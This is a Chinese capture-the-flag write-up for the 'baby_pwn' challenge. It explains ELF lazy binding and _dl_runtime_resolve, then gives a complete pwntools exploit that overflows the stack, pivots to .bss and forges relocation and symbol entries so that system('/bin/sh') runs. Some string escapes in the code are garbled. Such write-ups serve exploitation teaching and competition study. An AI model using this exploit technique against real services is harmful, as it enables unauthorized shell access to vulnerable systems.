国赛baby_pwn

Posted playmak3r

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了国赛baby_pwn相关的知识,希望对你有一定的参考价值。

国赛baby_pwn-ret2_dl_runtime_resolve之ELF32_rel,Elf32_sym,伪造

0x01 ELF文件的动态链接之延迟绑定

在动态链接下,程序模块之间包含了大量的函数引用,动态链接会耗费不少时间用于解决模块之间的函数引用的符号查找以及重定位,且一部分函数在执行结束都不会用到,如果一开始链接好实际上是一种浪费,于是ELF采取的这种技术。

0x02 延迟绑定的实现过程

以国赛baby_pwn为例

技术图片

程序第一次执行read函数,会进入plt表。

技术图片

之后会跳转至ds:[0x804a00c]处的地址。将参数0和ds:[0x804a004](link_map的指针)处的地址压入栈中,之后执行dl_runtime_resolve函数

dl_runtime_resolve函数

1.访问linkmap的指针访问.dynmaic,取出.dynstr,.dynsym,.rel.plt的指针

2. .rel.plt+第二个参数求出当前重定位表项Elf32_rel的指针。该结构体如下,大小为8个字节

typedef struct
{
  Elf32_Addr    r_offset; //指向GOT表的指针
  Elf32_Word    r_info;
} Elf32_Rel;

查看一下本题目的read函数的Elf32_rel结构体

技术图片

3.将Elf32_rel结构体中r_info>>8作为.dynsym的下标,求出当前函数的符号表项Elf32_Sym的指针
该结构体如下,长度为0x10

typedef struct
{
  Elf32_Word    st_name; //符号名,是相对.dynstr起始的偏移
  Elf32_Addr    st_value;
  Elf32_Word    st_size;
  unsigned char st_info; 
  unsigned char st_other;
  Elf32_Section st_shndx;
}Elf32_Sym; 

由于上方107>>8=1且结构体长度为0x10

技术图片

这里我们可以得知st_name的值为0x20
4…dynstr + sym->st_name得出符号名字符串指针,偏移为0x20正好为read函数的字符串

技术图片

5.在动态链接库查找这个函数的地址,并且把地址赋值给GOT表
6.调用这个函数

0x03利用方式

1.改写.dynamic的DT_STRTAB
若.dynmaic可写,即可改写.dynmaic中.dynstr的指针,将.dynstr的指针改动至可以操纵的内存空间,便可以执行我们想要的函数。
2.操纵第二个参数,实现伪造的效果
根据重定位的第二步.rel.plt + 第二个参数,若第二个参数值很大,那么就可以跳转至我们可以操纵的一块内存空间。便可以伪造Elf32_rel结构体中r_info,r_info伪造时要注意为0xXXXXXX07,其中0xXXXXXX为.dynsym的下标,也可以利用类似的方法进行越界至可操纵内存伪造Elf32_sym,最后伪造st_name使得.dynstr越界并且伪造字符串

baby_pwn
拿到程序,看到栈溢出漏洞

return read(0, &buf, 0x100u);

接着便是构造溢出之后的ROP链
由于没有puts,write之类函数无法泄露got表内地址,无法知道libc版本,因此无法执行system函数。于是考虑采用ret2dl-resolve技术
首先查看.dynmaic是否可写.dynmaic的地址为0x08049F14,发现其不可写。

技术图片

于是考虑一下思路2。首先实现溢出,执行read函数,在bss+0x800上构造虚假的第一个参数,Elf32_rel,Elf32_sym和st_name,和函数参数最后转移栈顶转移至bss+0x800。
之后强制重定位,强制重定位后会自动执行重定位之后的函数system函数
EXP如下

#!/usr/bin/env python
# coding=utf-8
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
context.log_level='debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
p=process('./nationalpwn')
#p=remote("c346dfd9093dd09cc714320ffb41ab76.kr-lab.com",56833)
elf=ELF('./nationalpwn')



base_stage=0x0804a040+0x800 #objdump -h pwn|grep bss
read_plt=0x08048390 #objdump -d pwn |grep plt
gadget1=0x0804852a #ROPgadget --binary pwn |grep leave # leave |ret

payload='A'*0x28+p32(base_stage) #EBP->bss_stage
payload+=p32(elf.symbols['read'])+p32(gadget1)+p32(0)+p32(base_stage)+p32(100)
#raw_input()
p.sendline(payload)

#fake struct
dynsym=0x080481dc#objdump -h pwn
dynstr=0x0804827c
alarm_got=0x0804a010
fake_sym_addr=base_stage+44

index_dynsym=(fake_sym_addr-dynsym)/0x10
r_info=index_dynsym<<8|0x7
fake_reloc=p32(alarm_got)+p32(r_info)# rel alarm->system     07
st_name=fake_sym_addr+0x10-dynstr
fake_sym=p32(st_name)+p32(0)+p32(0)+p32(0x12)

plt0=0x08048380 #.plt
rel_plt=0x0804833c#rel位置
cmd='/bin/sh'
index_offset=base_stage-rel_plt+28


payload2='B'*4      #base_stage
payload2+=p32(plt0)#强制重定位,esp+4 base_stage+4
payload2+=p32(index_offset) # push reloc_arg  base_stage+8
payload2+='AAAA'#返回地址 bse_stage+12
payload2+=p32(base_stage+80)#函数参数base_stage+16
payload2+='A'*8#base+stage+20
#fake_struct
payload2+=fake_reloc #base_stage+28
payload2+='B'*8#base_stage+36
payload2+=fake_sym #base_stage+44
payload2+="systemx00x00"#base_stage+60
payload2+='A'*12#base_stage+68
payload2+=cmd+'x00'
#gdb.attach(p)
p.send(payload2)
p.interactive()

以上是关于国赛baby_pwn的主要内容,如果未能解决你的问题,请参考以下文章

第十三届蓝桥杯国赛真题 PythonB组 复盘以及获奖感言(国一!!!)

收藏!国赛常用算法及MATLAB代码

蓝桥杯嵌入式——第十届蓝桥杯嵌入式国赛

蓝桥杯嵌入式——第十届蓝桥杯嵌入式国赛

蓝桥杯嵌入式——第九届蓝桥杯嵌入式国赛

蓝桥杯嵌入式——第九届蓝桥杯嵌入式国赛